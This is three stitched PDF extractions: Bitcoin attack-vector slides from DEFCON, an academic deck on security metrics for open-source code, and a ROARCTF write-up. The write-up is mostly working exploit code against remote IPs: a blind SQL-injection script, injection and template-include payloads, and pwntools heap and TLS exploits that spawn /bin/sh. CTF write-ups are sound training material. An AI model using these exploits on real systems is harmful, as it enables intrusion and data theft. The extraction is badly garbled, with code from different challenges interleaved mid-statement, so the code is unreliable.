Hacking the Global Economy with GPUs or How I Learned to Stop Worrying and Love Bitcoin By Skunkworks -First time DEFCON speaker and attendee -Electrical Engineering Undergrad at a Major University -Hardware Geek with diverse interests -Not affiliated with Lockheed-Martin! -Not affiliated with Bitcoin! -Basic introduction with in-depth portion -This talk may have been updated! WHY was Bitcoin created? ● High fees with current e-payment solutions ● Paypal (and others) playing big brother ● Increase in decentralized digital technologies, eg torrents WHAT is Bitcoin and WHO made it? ● A decentralized Peer-to-Peer currency ● No central authority ● Transactions verified by peers ● Over $100,000,000 US in value ● “Money” printed by GPUs ● Enigmatic developer Satoshi Nakamoto who left in 2010 The Economics of Bitcoin Hackers? In my Economy? It's more likely than you think! ● Bitcoin is Fiat currency, just like USD ● It has built in deflation, never more than 21,000,000 BTC ● Can be traded down to 0.00000001BTC ● Generated by GPUs (or ASICs?), backed by the marginal utility of a Semi-Anonymous virtual currency ● Not a Ponzi Scheme, but the early adopters got rich ● Price up over 200,000%, rampant speculation due to media coverage and novelty of currency type ● Will likely find an equilibrium price due to many factors A chart is fine too... ● $0.06 to $30 in a few months, this scale is logarithmic! ● Who made big bucks? SHA-256, the block chain and GPUs ● Bitcoin algorithm based on SHA-256 ● GPUs are hundreds of times faster than CPUs ● Every transaction is hashed and becomes part of the “block chain” ● Coins stored in a wallet.dat file ● The entire network is many times more powerful than folding@home or the RIEKN supercomputer ● Mining pooled to a large degree, fees are making top pool operators rich Attack Vector: Botnets and Bitcoin ● These attacks rely on overwhelming the network with illegitimate clients or a lot of hashing power ● Forking the block chain if you control over 50% of the net- work hashing power ● “Cancer nodes” refusing to relay blocks and process trans- actions, allowing double-spending and network stoppage ● Half of the hashing power would represent over $120,000 per day for the attacker, making an attack attractive ● A botnet for financial gain that doesn't harm the network could be running today ● A supermassive botnet can create total market-power Attack Vector: Botnets and Bitcoin ● “Timejacking” a node requires a fairly small botnet ● Bitcoin will drop a connection to a peer sending too much data, making DoS a bit harder, at least requiring more nodes. ● No way to tell the difference between a botnet that “plays by the rules” and a bunch of legitimate users ● The most lucrative use of a botnet in the long term may not be attacking the network, but contributing to it ● “Rule abiding” botnets could represent a significant fraction of today's hashing power and we wouldn't know Attack Vector: Pickpocketing wallet.dat ● Not all users are level 31337 computer scientists ● wallet.dat is unencrypted ● Many daytraders and speculators, a few dimwits ● Specialized Trojan Horses target Windows ● Limewire. Wait, Limewire!? ● Don't put all your eggs in one unprotected basket, just ask “Allinvain” who lost $500,000 in a single wallet.dat file ● See en.bitcoin.it/wiki/Securing_your_wallet Attack Vector: Third Parties ● Third-parties such as currency exchanges and giftcard services provide fertile attack ground, each attack would be site specific ● Mt. Gox 0wned, had old unsalted password hashes, $9 million attempted sell off of compromised accounts crashed market, forced a freeze on trading for almost a week ● Deepbit.net 0wned, unspecified amount taken when payout addresses changed, cost eaten by site admin ● Many bitcoin related sites don't yet take as security-conscious a view as established banks Attack Vector: The Gullible Users ● Bitcoin 419 Scams ● Fake Giftcard payouts ● Fake investment sites ● Fake currency exchanges ● “I'm a Nigerian Prince who has won 89 Million Bitcoins and I just need you to pay my Bitcoin transfer fee so you can claim 10%” ● There is no patch for human stupidity, a fool and their bitcoins are soon parted Attack Vector: High Frequency Trading ● Constant computerized trading of a financial holding based miniscule market fluctuations with the intent to turn a small profit thousands of times ● “High rollers” can assert partial market power, execute high frequency trading with good results by single handedly moving the market ● High Frequency Trading is quite slow on the actual Bitcoin network, would be carried out through third parties Attack Vector: The “Finney” Attack ● Accepting a 0-confirmation transaction creates the problem ● Attacker sends coins to himself in an unbroadcasted block, “spends” coins, the coins sent to the attacker's own address take precedence ● The problem with a bitcoin vending machine Drugs, Weapons and Money Laundering Oh, so that's where the bad press is from? ● Silkroad marketplace trades in (mostly) illegal wares, relies on the supposed anonymity of Bitcoin for plausible deniability of financial transfers proceeding shipment ● Money laundering is trivial with Bitcoin, again relying on the supposed anonymity of the network ● Represents a nice shiny object for the media to peck at P.W.N.T. by a L.E.A.: So maybe Bitcoin isn't so anonymous after all... ● It is public information what address has what bitcoins, and from who they were received ● If you can tie a few addresses to a few people, and people use only one address, anonymity is out the window ● High level network monitoring can possibly identify many bitcoin users ● eWallet providers are somewhat of a solution, but introduce third party issues ASICs: The Darkhorse ● A few watts per chip, versus 100+ for a GPU ● Very high upfront development costs and effort ● Possibility to create network-scale hashing capability with millions in investment ● Already deployed in at least one mining operation ● May already represent a substantial portion of network hashing power in relative secrecy I accidentally the GPU market... ● Global shortages of AMD Radeon HD 5000 series GPUs ● Best price/performance GPUs selling used for upwards of 150% retail on ebay, craigslist, etc ● Individual buyers hoarding dozens of GPUs for resale or mining ● Sellouts within minutes of restocking on Newegg ● Radeon HD 6000 series and Nvidia are lower performing ● Radeon HD 7000 series leaked specs reveal rough comparability with 5000 series for bitcoin mining Miscellaneous ● “But I'm growing currency, officer” - high power bill leads to fruitless raid of suspected weed growing operation ● buttcoin.org, humorously pointing out flaws in Bitcoin ● bitcoinminingaccidents.com, heat stroke case THE END ● Questions?
pdf
Security Measurement and Assuring  Reliability through metrics Technology ( SMART) Applying Reliability Metrics to  Security Vulnerabilities Wayne Zage, Dolores Zage, Blake Self Presentation Outline 1. Background/overview of S2ERC and design  metrics 2. Vulnerability Analyses Security and Software Engineering  Research Center (S2ERC) • An NSF Industry/University Cooperative  Research Center established in 1986 and  extended in 2010 • Participation by ten+ universities  representing  >50 researchers • Collaborative, customized projects and  technology transfer to affiliates are the  hallmarks of the S2ERC S2ERC Participating Universities Ball State DePaul Illinois at  Chicago Iowa State IUPUI  IPFW Penn State Purdue West Florida Limerick S2ERC Industrial Affiliates Angie’s List Bingham McHale Blue Cross Blue Shield Boeing John Deere Intelligent Information  Technologies Iowa Dept. of  Transportation Lockheed Martin MacAulay Brown NASA Northrop Grumman  Ontario Systems Raytheon NSWC – Crane Rockwell Collins TIAA Union Pacific US Army Research Lab US Dept. of Homeland  Security 6 1986 1986 1989 1989 1993 1993 1999 1999 2003 2003 2005 2005 Reliability Study Reliability Study Technology Technology Development Development Industry Industry Validation Studies Validation Studies Ada Ada CC C++ C++ Java UML Java UML Industry Industry SE Symposium SE Symposium 2004 2004 Industry Industry Mission Assurance Mission Assurance Forum Forum Published Papers Published Papers High Reliability High Reliability Process Development Process Development Industry Validation Industry Validation –– Northrop Grumman, Motorola, Northrop Grumman, Motorola, Bellcore Bellcore, Raytheon, Army , Raytheon, Army Industry Industry Industry Industry Development Development Dissemination Dissemination SERC SERC Research Research SDL SDL Industry Industry Workshops Workshops Process Process Deployment Deployment SERC SERC Technical Report Technical Report NASA NASA Symposium Symposium Industry funded Industry funded SERC Research SERC Research Industry Industry Mission Assurance Mission Assurance Workshops Workshops ISSRE 05 ISSRE 05 SSTC 07 SSTC 07 NASA NASA Workshops Workshops NSWC NSWC The S2ERC Design Metrics Research  Timeline 2006 2006 2007 2007 2008 2008 2009 2009 SSTC 10 SSTC 10 PHP PHP S2ERC National Recognition The 2007 Alexander Schwarzkopf Prize for Technological Innovation from the NSF I/UCRC Association recognized the achievements in developing software design metrics that identify fault-prone modules early in the software lifecycle, thereby allowing significant improvements in software quality and productivity. De - an external view of design complexity Di - an internal view of design complexity De Di Overview of the Design Metrics,  De and Di S2ERC Design Metrics Research has  been funded by ... National Science Foundation Motorola Corp.  Nortel Technologies Telcordia Technologies Northrop Grumman Corp. Computer Sciences Corp. GTE Data Services Magnavox Electronic Systems Co. Harris Corp. Raytheon US Army Research Lab Ball State University The design metrics have been  computed on university‐based projects CSC’s STANFINS project systems from the US Army Research Lab           Harris’ ROCC project Magnavox’s AFATDS project PBX system from Telcordia Technologies three Northrop Grumman projects                    three Raytheon projects                                          telecommunications systems from Motorola Results: The design metrics have correctly identified at least 76% of the defect-prone modules 100% of the time. The External Metric De De = e1 (inflows * outflows) + e2  (fan in * fan out) 2 1 3 2 2 De  = ( (2+2+3) * (1+2) ) + (1*2) = 23 The External Metric De De = e1 (inflows * outflows) + e2 (fan in * fan out) 2 1 3 2 2 De  = ( (2+2+3) * (1+2) ) + (1*2) = 23 The External Metric De De = e1 (inflows * outflows) + e2 (fan in * fan out) 2 1 3 2 2 De  = ( (2+2+3) * (1+2) ) + (1*2) = 23 The External Metric De De  = e1 (inflows * outflows) + e2 (fan in * fan out) 2 1 3 2 2 De  = ( (2+2+3) * (1+2) ) + (1*2) = 23 The Internal Metric Di Di = w1 (CC) + w2 (DSM) + w3 (I/O) where: CC ( Central Calls ) are procedure or function  invocations DSM ( Data Structure Manipulations ) are  references to complex data types I/O ( Input/Output ) are external device accesses Extending Design Metrics Technology  to a Software Security Engineering  Process Software Reality Consists of complex, multiple technologies with multiple suppliers Defects Intentional Vulnerabilities Unintentional Vulnerabilities EXPLOITABLE SOFTWARE Exploitation potential of vulnerability independent of Exploitation potential of vulnerability independent of ““intent intent”” Software Vulnerabilities Fault‐prone component Likely to contain faults Failure‐prone component Likely to have failures in field Reliability context (well-established) – Design Metrics Reliability Research Security context (to be established ) the SMART project funded by ARL Vulnerability‐prone component Likely to contain vulnerabilities Attack‐prone component Likely to be exploited in the field Reliability and Security Parallels SMART Project Objectives Investigate the overlap and interrelationships in  the software constructs that affect the reliability  and security of software Develop security metrics to identify, categorize  and analyze security weaknesses Our Representative  Systems/Technologies  Drupal Security: Expectations and Directions • Some vulnerable components will be  identified by design metrics. • A huge “win” if 50% of the components  containing documented vulnerabilities are  identified by design metrics. • New security‐related primitives will be needed  to increase that percentage. Our Team’s General Process of  Metric/Vulnerability Analysis  Vulnerability Updates by  module Selected System’s Published CVS  Reports Vulnerability  updates scan parses Metrics +  Vulnerabilities Results/reports analysis match CWE  Category OPEN  SOLARIS FIREFOX  2.0.0.1 FIREFOX  2.0.0.2 FIREFOX  2.0.0.5 Open‐ SSH HTTPD Code  Quality 6 1 0 2 2 11 Data  Handling 5 10 30 69 13* 19 Security  Features 8 2 0 20 2 5 Time and  State 5 0 0 0 0 0 Error  Handling 0 5 0 0 1 1 API Abuse 0 0 0 0 2 1 24 18 30 91 20 37 Common Weakness Enumeration and Systems Secret life of the open source  code Ongoing Work • Apache • Open Solaris • FireFox • OpenSSH • Drupal Apache HTTP Server • Designed by Robert  McCool • Developed by Apache  Software foundation • Initial release 1995 • Latest release 2.2.15 on  03/06/2010 • Since April 1996 Apache  has been the most  popular HTTP server on  the WWW. • As of March 2009 Apache served over  46% of all websites and  over 66% of the million  busiest. Apache Vulnerabilities • Apache • For version 1.3.1  – 144 files – 8 vulnerabilities identified De Metric Analysis on Apache 1.3.1 87.5% or 7 out of the 8 vulnerable modules were identified in the top 10% Graphic of Indicated Stress Modules  OpenSolaris • based on Sun  Microsystems' Solaris • Latest release 2009.06   on 06/01/2009 • OpenSolaris is derived  from the Unix System V  Release 4 codebase,  with significant  modifications made by  Sun since it bought the  rights to that code in  1994. OpenSolaris Vulnerabilities OpenSolaris Vulnerabilities and  Source • 22,600 files in the downloadable tar file • 23 module updates from vulnerabilities  totaling 37 changes  • 5 is the largest # of changes on one module • We want to identify the 23 modules out of the  22,600 x modules in files, approximately 1 in  10,000 Divide and Conquer • 18 module vulnerability updates located in  the /usr/src/uts/common stem (3983 files) • 5,946,281 xml tags in the 3983 files • 5 module vulnerability updates located in the  /usr/src/cmd/sgs/rtld/common stem (29 files) • 90,417 xml tags in the 29 files De Metric Analysis on  /usr/src/cmd/sgs/rtld/common 60% or 3 out of the 5 vulnerable modules or 69% or 9 out of 13 changes were identified FireFox • Mozilla Firefox is a web  browser • Designed by and  developed by Mozilla  Corporation • Initial release  November 9, 2004 • Latest release 3.6.6 on  06/26/2010 • Firefox had 22.05% of  the recorded usage  share of web browsers  as of March 2009,  making it the second  most popular browser  in terms of current use  worldwide, after  Internet Explorer. FireFox Vulnerabilities • Multiple versions of three software systems  studied • Source Code is THE primary source of  vulnerability reports • At least 51% and at most 86% of reported  vulnerabilities are in Data Handling • Data Structure Manipulations (DSM) is the  best predictor of vulnerabilities General Analysis OpenSSH • Developed by OpenBSD Project • OpenSSH first appeared  in OpenBSD 2.6 and the  first portable release  was made in October  1999 • Latest release 5.5/5.5p1  on 04/16/2010 • Set of computer  programs providing  encrypted  communication  sessions over a  computer network  using the ssh protocol.  OpenSSH Vulnerabilities OpenSSH 3.8p1 • Files: 243 • Modules: 2,437 • Definitions: 2,992 • preprocessor directives: 5,147 • user defined include files: 1,101 • conditional expressions: 61,815 • xml tags: 703,850 • 31 vulnerable modules identified • Ranked modules by De  • 18 of the 31 vulnerable modules in  the top 10% (58%) • 23 of the 31 vulnerable modules in  top 20% (74%) • The remaining 8 had additional  suspicious patterns : Modules were named “x” and  had a “mate” x1 Duplicate names • Drupal • Initial release January  2001 (2001‐01)  • Latest release 6.17 June  2010 • Written in PHP • Operating system  cross‐platform  Open Source Content  Management System (CMS) Over 350,000 subscribed  members today Consists of PHP, INC, JavaScript,  Perl, XML files DrupalSites.net is a directory that  list thousands of websites  powered by Drupal Winner of  Best Overall 2008  Open Source CMS Award for  Second Year in a Row Listed as one of the Open Source  PHP applications that changed  the world • PHP Process of Metric/Vulnerability Analysis • Constructed the Drupal Vulnerabilities Miner  (DVM) • the Drupal CVS web site  (http://www.drupal.org/security).  • DVM  isolated 277 RCS file patches identified from  140 vulnerability  updates. • Approximately 105 Drupal PHP files Drupal Vulnerabilities and Source Generic Source Analysis Metrics On Modules Selected  System XML  representation convert collect Designing a PHP2XML tool Mapping PHP primitive tags to primitive design metrics PHP Source Analysis • A knowledge of where vulnerabilities are most  likely to reside can help prioritize security  efforts. • Analyzing multiple technologies and mapping  the vulnerabilities to the CWE to ensure  coverage  • Merge multiple technologies through  mapping the individual xml representations,  isolates commonality and individuality Benefits  Next Research Steps • Continue the analysis of the open source  systems • Investigate other primitives to identify,  categorize security weakness • Apply technologies to systems other than  open source (YOURS?) • Combine into the network model
pdf
ROARCTF WP By Nu1L ROARCTF WP By Nu1L Misc Hi_433MHz WEB &Revenge hackback ezsql HTML PWN easy_pwn qtnc 2a1 RE Singular DLP steGO slime_war Crypto ecdsa Crypto_System easyrsa Misc Hi_433MHz WEB &Revenge http://47.104.232.98:36301/?url=file:///fl%2561g import string import sys import requests import time payloads = string.ascii_letters + string.digits + '@#$%^&*()_+=[]!' headers = {"Content-Type": "application/x-www-form-urlencoded"} url = "http://139.129.98.9:30007/" result = '' for i in range(1, 20): for payload in payloads: starttime = time.time() p = "username=admin&password=aaa'||/**/(case/**/when/**/(select/**/substr(password ,%s,1)/**/from/**/users)='%s'/**/then/**/pg_sleep(5)/**/else/**/pg_sleep(0)/** /end)||'x'--" % (i, payload) res = requests.post(url, data=p, headers=headers) if time.time() - starttime > 5: print(payload) hackback result += payload break if payload == '!': print("fin:" + result) sys.exit(0) import copy opcode = [893, 192, 9, 966, 64, 129, 573, 129, 2, 454, 193, 66, 573, 130, 7, 710, 66, 131, 445, 131, 8, 966, 131, 4, 701, 68, 6, 710, 196, 69, 893, 133, 9, 966, 197, 6, 573, 6, 11, 710, 198, 199, 445, 71, 10, 966, 135, 136, 573, 200, 4, 454, 8, 137, 829, 137, 11, 198, 201, 10, 957, 138, 12, 710, 74, 11, 701, 203, 4, 710, 139, 76, 829, 76, 7, 454, 204, 205, 445, 141, 7, 454, 77, 78, 573, 142, 10, 966, 142, 79, 765, 207, 4, 454, 207, 208, 701, 16, 3, 454, 208, 145, 509, 17, 9, 454, 145, 146, 1021, 82, 4, 966, 82, 83, 765, 147, 6, 966, 147, 212, 829, 84, 3, 198, 148, 149, 957, 213, 12, 454, 149, 86, 765, 22, 11, 454, 214, 215, 637, 87, 13, 198, 215, 88, 893, 152, 4, 198, 216, 89, 445, 217, 10, 966, 153, 218, 317, 218, 7, 710, 154, 155, 701, 155, 7, 710, 155, 92, 701, 156, 2, 966, 220, 93, 381, 157, 6, 454, 157, 94, 573, 222, 6, 454, 158, 223, 637, 223, 12, 966, 95, 96, 317, 96, 9, 710, 160, 97, 893, 33, 14, 454, 161, 226, 765, 226, 7, 454, 98, 35, 381, 99, 8, 710, 99, 228, 317, 164, 11, 710, 228, 165, 253, 37, 13, 966, 229, 230, 253, 166, 14, 710, 38, 39, 1021, 167, 12, 966, 103, 168, 957, 40, 4, 710, 168, 105, 701, 105, 7, 966, 105, 128, 701, 128, 13, 454, 64, 193, 509, 65, 8, 966, 193, 66, 637, 130, 12, 966, 194, 67, 317, 3, 10, 710, 131, 4, 1021, 68, 3, 966, 196, 133, 957, 5, 9, 710, 197, 134, 957, 6, 5, 966, 134, 71, 957, 7, 12, 710, 135, 136, 253, 136, 13, 454, 72, 137, 637, 73, 11, 454, 9, 10, 317, 202, 12, 710, 74, 11, 445, 139, 7, 966, 75, 204, 381, 204, 6, 454, 76, 205, 701, 77, 10, 198, 13, 14, 573, 14, 8, 710, 78, 15, 253, 79, 9, 710, 143, 80, 957, 208, 13, 966, 16, 145, 253, 17, 8, 454, 81, 82, 445, 18, 5, 710, 210, 147, 573, 147, 10, 198, 147, 84, 957, 84, 7, 454, 148, 213, 445, 149, 13, 454, 21, 214, 573, 150, 4, 710, 86, 87, 701, 215, 13, 454, 215, 24, 317, 152, 2, 454, 216, 153, 637, 89, 12, 454, 153, 154, 829, 218, 10, 710, 90, 155, 957, 91, 12, 198, 27, 92, 893, 92, 9, 454, 220, 93, 829, 221, 7, 454, 29, 158, 381, 222, 14, 710, 158, 95, 509, 159, 5, 454, 223, 224, 381, 224, 11, 710, 224, 33, 1021, 225, 7, 198, 161, 98, 573, 162, 13, 966, 98, 99, 509, 99, 7, 454, 163, 228, 509, 228, 13, 710, 36, 37, 573, 293, 11, 966, 165, 230, 381, 230, 5, 710, 166, 167, 957, 167, 14, 454, 39, 104, 317, 104, 6, 198, 40, 233, 637, 233, 10, 966, 233, 64, 999, 56, 78] class Info(object): def __init__(self, pc): self.opcode = opcode[pc] self.rax = opcode[pc+1] self.rbx = opcode[pc+2] self.tmp = opcode[pc+1] self.flag = 1 idx = 0 pc = 0 code = Info(pc) def JudgeControl(): global idx, code if code.opcode == 999: return 9 if idx == 6 and code.flag == 0: code.rbx = 3 idx = 0 return 7 elif idx == 6 and code.flag != 0: idx = 2 return idx else: while ((code.opcode >> idx) & 1) == 0: idx += 1 return idx tpl = [0xff for _ in range(42)] target = "readfile('/flag');#" target += '\x00'*(42-len(target)) for t in range(len(target)-1, -1, -1): for i in range(256): idx = 0 pc = 0 code = Info(pc) inp = copy.deepcopy(tpl) inp[t] = i flag = 0 stack = 0 while flag != 1: p = JudgeControl() if p == 0: code.rax = inp[code.rax % 64] elif p == 1: code.rax = inp[code.rax % 64] code.rbx = inp[code.rbx % 64] elif p == 2: stack = code.rax ^ code.rbx elif p == 3: ezsql Mysql8 admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)> (BINARY('{}'),'0')# flag code.rbx = code.rax & code.rbx elif p == 4: code.rbx <<= 1 code.flag = code.rbx elif p == 5: code.rax = stack inp[code.tmp % 64] = code.rax % 256 elif p == 6: code.rax = stack inp[code.tmp % 64] = code.rax % 256 elif p == 7: pc += 3 code = Info(pc) idx = -1 elif p == 8: break elif p == 9: flag = 1 idx += 1 if inp[t] == ord(target[t]): print(''.join(map(chr, inp))) print(i) tpl[t] = i break print(tpl) url = 'http://47.104.191.60:41161/bond007.php?' for i in range(42): url += f'cmd[{i}]={tpl[i]}&' print(url[:-1]) HTML {% 2-1 %} swig {% extends '/proc/self/environ' %} flag PWN easy_pwn editstring from pwn import * context.arch = 'amd64' context.log_level = 'debug' # p = process('./pwn') p = remote('47.105.44.8', 42882) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def edit(name,c): p.sendline('4') p.recvuntil('Non-Terminal:') p.sendline(name) p.recvuntil('size:') p.sendline(str(0x100000000)) sleep(0.1) p.send(c) p.sendline('1') p.recvuntil('grammar:') g = '''EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE -> EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE aaaaaaaaaaaaaaaaa -> aaaaaaaaaaaaaaaaa exit ''' p.send(g) edit('EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE','aaa') p.sendline('2') p.recvuntil('choice:') # launch_gdb() # raw_input() payload = 'E' * 0x20 + p64(0) + p64(0x31) + p64(0) + 'E' * 0x18+ \ p64(0x30)+ p64(0x31) + p8(0x20) edit('aaaEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',payload) p.recvuntil('choice:') p.sendline('2') p.recvuntil('aaa -> ') leak_heap = u64(p.recv(6) + '\x00\x00') log.info('leak heap ' + hex(leak_heap)) heap_libc_addr = leak_heap + (0x340-0x260) payload = 'E' * 0x20 + p64(0) + p64(0x31) + p64(0) + 'E' * 0x18+ \ p64(0x30)+ p64(0x31) + p64(heap_libc_addr) edit('EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',payload) p.recvuntil('choice:') p.sendline('2') p.recvuntil('aa -> ') leak_libc = u64(p.recv(6) + '\x00\x00') - 3951496 log.info('leak libc ' + hex(leak_libc)) payload = 'E' * 0x20 + p64(0) + p64(0x31) + p64(0) + 'E' * 0x18+ \ p64(0x30)+ p64(0x31) + p64(heap_libc_addr) + p64(0x11) * 2 + p64(0) * 2 +\ p64(0x51) + p64(leak_heap - 0x230) + 'a' * 7 * 8 + p64(0) + p64(0x21) + \ p64(leak_libc + 3951496) * 2 + p64(0x20) + p64(0x30) + p64(leak_heap + 0x130) qtnc dump_byte = [0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x 00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x31,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x45,0x45,0x45,0x45,0x45,0x45,0x4 5,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0 x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x45,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x61,0x61,0x61,0x61,0x61,0x 61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0,0x00,0x00,0x00,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x20,0x00,0x00,0 x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x40,0x00,0x00,0x 00,0x00,0x00,0x00,0x00,0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00] for i in dump_byte: payload += chr(i) payload += p64(leak_libc + libc.symbols['__malloc_hook']-0x10) + p64(6) * 2 edit('EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',payload) p.recvuntil('choice:') p.sendline('2') p.recvuntil('choice:') payload = p64(548512 + leak_libc) + p64(547440 + leak_libc) + p64(leak_libc + 0xf0364) edit(p64(548512 + leak_libc)[:6],payload) p.recvuntil('choice:') p.sendline('2') p.interactive() from pwn import * from os import popen import re s = remote("47.104.178.87","48588") def zip(name): os.popen("rm test.tar.gz") os.popen("rm passwd") os.popen("ln -s "+name+" passwd") cmd = 'tar -cvf test.tar.gz passwd' os.popen(cmd) return open("test.tar.gz","r").read() def compress(name,rename=''): 2a1 s.sendlineafter(">","c") s.sendlineafter("Filename: /tmp/",name) if rename != '': s.sendlineafter("Rename archive file? [y/N]",'y') s.sendlineafter("Arcname:",rename) else: s.sendlineafter("Rename archive file? [y/N]",'N') s.recvuntil("File compressed as ") return s.recvline(keepends=False) def upload(buf): s.sendlineafter(">","u") s.sendlineafter("Content:",buf) s.recvuntil("File uploaded as /tmp/") return s.recvline(keepends=False) def extract(name): s.sendlineafter(">","x") s.sendlineafter("Filename:",name) def getContext(buf): f = zip("./flag") f = zip(buf) file1 = upload(f) file2 = upload('123') com_file2 = compress(file2,'passwd') com_file1 = compress(file1,com_file2) # print com_file1 # print com_file2 extract(com_file1) extract(com_file2) s.sendlineafter(">","r") s.sendlineafter("Filename:",'passwd') getContext("/proc/self/status") s.recvuntil("PPid:") ppid = int(s.recvline(keepends=False).strip()) tmp = "/proc/"+str(ppid)+"/cwd/flag" getContext(tmp) s.interactive() # -*- coding: utf-8 -*- from pwn import * def clip(x): return x & 0xFFFFFFFFFFFFFFFF def ROL(x, off): x = clip(x) return clip(x << off) | x >> (64-off) # context.terminal = ['tmux','sp','-h'] # context.log_level = 'debug' # p = process('./21') # gdb.attach(p,"b *$rebase(0x1341)\nc") # gdb.attach(p,"b *__run_exit_handlers\nc") # p = process("./21") for i in range(0x100): try: p = remote("47.104.178.87","41159") l = ELF('/lib/x86_64-linux-gnu/libc.so.6') p.recvuntil(': ') l.address = int(p.recvuntil('\n', drop=True),16)-l.sym['alarm'] log.info("@ l.address: "+hex(l.address)) system = l.sym['system'] log.info("@ system: "+hex(system)) binsh = next(l.search('/bin/sh')) log.info("@ binsh: "+hex(binsh)) readaddr = l.address+0x500730+i*0x1000 log.info("@ tls: "+hex(0x500730+i*0x1000)) p.sendafter('?:',p64(readaddr)) p.recvuntil('data: ') cookie = u64(p.recv(8)) log.info("@ cookie: "+hex(cookie)) if cookie == 0x6f74206572656877: continue writeaddr = l.address+0x3c45f8 one = l.address+0x4527a msg = p64(0)+p64(0x1)+p64(0x4)+p64(ROL(cookie^system,0x11))+p64(binsh) p.sendafter('?:',p64(writeaddr)) p.sendafter(':' ,msg) p.sendline("ls") p.recv() p.interactive() RE Singular DLP A, B, C = <key1, key2, 419203400062470045015087777889856139712619568731547266452395921118909888843> x1, y1 = <1411093095633899054904336270608678352573811185391682791883604437, 181399512852065092806462602076660633449562343530090707573289242437516527258> x2, y2 = <31891691142228973409459264571840296336020869906635390764988965639428587741,> check1 key3 key3*P1P2 Q7.py except: continue 0 == (y ^ 2 - x ^ 3 - Ax - B) % C (1276744354932508963815648876876391408425870597096190941325627, 330197712211461741655594469506213240091246221029232552529843659956465331070) # field p = 419203400062470045015087777889856139712619568731547266452395921118909888843 F = GF(p) # base point gx = 1411093095633899054904336270608678352573811185391682791883604437 gy = 181399512852065092806462602076660633449562343530090707573289242437516527258 # public point px = 31891691142228973409459264571840296336020869906635390764988965639428587741 Flag py = 21814747855707522410995148085528604068209609922250542598357174146875745246 # two points are enough to recover the curve parameters M = Matrix(F, [[gx,1],[px,1]]) a,b = M.solve_right(vector([gy^2-gx^3,py^2-px^3])) # that's not an elliptic curve! assert 4*a^3 + 27*b^2 == 0 # finding the roots, here we suppose the singular point is a node # we make sure alpha is the double root K.<x> = F[] f = x^3 + a*x + b roots = f.roots() if roots[0][1] == 1: beta, alpha = roots[0][0], roots[1][0] else: alpha, beta = roots[0][0], roots[1][0] # transfer slope = (alpha - beta).sqrt() u = (gy + slope*(gx-alpha))/(gy - slope*(gx-alpha)) v = (py + slope*(px-alpha))/(py - slope*(px-alpha)) # should take a few seconds, don't worry (largest prime of p-1 is 42 bits only) flag = discrete_log(v, u) print flag # 1636247906719776192850336424656337116834591860 #include <cstdio> #include <cstring> #include <openssl/aes.h> unsigned long long cipher[] = {0x62BA74000F9CF1D5LL, 0x6C8E15C6D25AB925LL, 0x6C7225EAD7CBA1A8LL, 0xE9B5CBF8F2E8E3CCLL, 0x23298109A76021LL, 0x7226D880C5966C46LL, 0x737E83A854A500ALL, 0x4BDE5BBA3F3313F0LL}; unsigned long long iv[] = {0x86C7615CA8027B66LL, 0xE86502061B52F4DELL, 0x3838383838383838LL, 0x3838383838383838LL}; int main() { unsigned char key[] = "I_4m_AES_k3y_bY_ttt&&&&&&&&&&&&&"; AES_KEY aeskey; char plain[64] = {0}; steGO AES_set_decrypt_key(key, 256, &aeskey); AES_cbc_encrypt((unsigned char*)cipher, (unsigned char*)plain, 64, &aeskey, (unsigned char*)iv, 0); puts(plain); } #from PIL import Image import cv2 import numpy '''im = Image.open("b.png") im_alpha = im.convert('RGBA') Pixels = list(im.getdata()) print map(hex,Pixels[0x50e*0x174+0x24e])''' ''' with open('pixels','wb') as f: for i in range(len(Pixels)): for j in range(len(Pixels[i])): f.write("%s"%chr(Pixels[i][j]))''' image = cv2.imread("b.png",cv2.IMREAD_UNCHANGED) RGBA = cv2.cvtColor(image,cv2.COLOR_BGRA2RGBA) image = numpy.ndarray.tolist(RGBA) '''print map(hex,image[0x1b6][0x2fe]) print map(hex,image[0x174][0x24e]) print map(hex,image[0x266][0x1a5]) print map(hex,image[0x1f9][0xe0]) print map(hex,image[0x260][0x212]) print map(hex,image[0x17][0x175]) print map(hex,image[0x18][0x259]) print map(hex,image[0x27][0x1b5]) print map(hex,image[0x2d7][0x18a]) print map(hex,image[0x255][0x173]) print map(hex,image[0x10a][0x4fb]) print map(hex,image[0x262][0x2ca]) print map(hex,image[0x124][0x3da]) print map(hex,image[0x191][0x43f]) print map(hex,image[0x100][0x1b2]) print map(hex,image[0xdc][0x18c]) print map(hex,image[0xe2][0x3cd]) print map(hex,image[0x280][0x75]) print map(hex,image[0x211][0x61]) print map(hex,image[0xa1][0x1b2]) print map(hex,image[0x221][0x363]) print map(hex,image[0x288][0x1a]) print map(hex,image[0x1f4][0x19]) print map(hex,image[0x1a][0x62]) print map(hex,image[0x3f][0x16c]) print 